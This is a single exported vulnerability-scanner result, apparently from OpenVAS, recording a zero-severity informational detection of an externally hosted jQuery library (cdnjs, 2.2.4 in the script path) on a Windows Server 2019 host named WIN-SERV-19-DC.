		jQuery Detection Consolidation		admin		2022-07-26T20:53:48Z				2022-07-26T20:53:48Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		general/tcp		nvt		jQuery Detection Consolidation		Product detection		0				2021-06-03T14:04:05Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=Consolidation of jQuery detections.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.150658		2021-09-21T07:58:23Z		Log		0		80				Detected jQuery



Version:       unknown

Location:      Externally hosted

CPE:           cpe:/a:jquery:jquery



Concluded from version/product identification result:

src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js embedded into URL /



Extra information:

The jQuery library is hosted on a different server. Because of this it is not possible to gather the version by a direct file access. Please manually inspect the version which gets included on this web page.		Log		0		38ec6e01-e684-404b-872f-b9f8fc904465		url		https://jquery.com/
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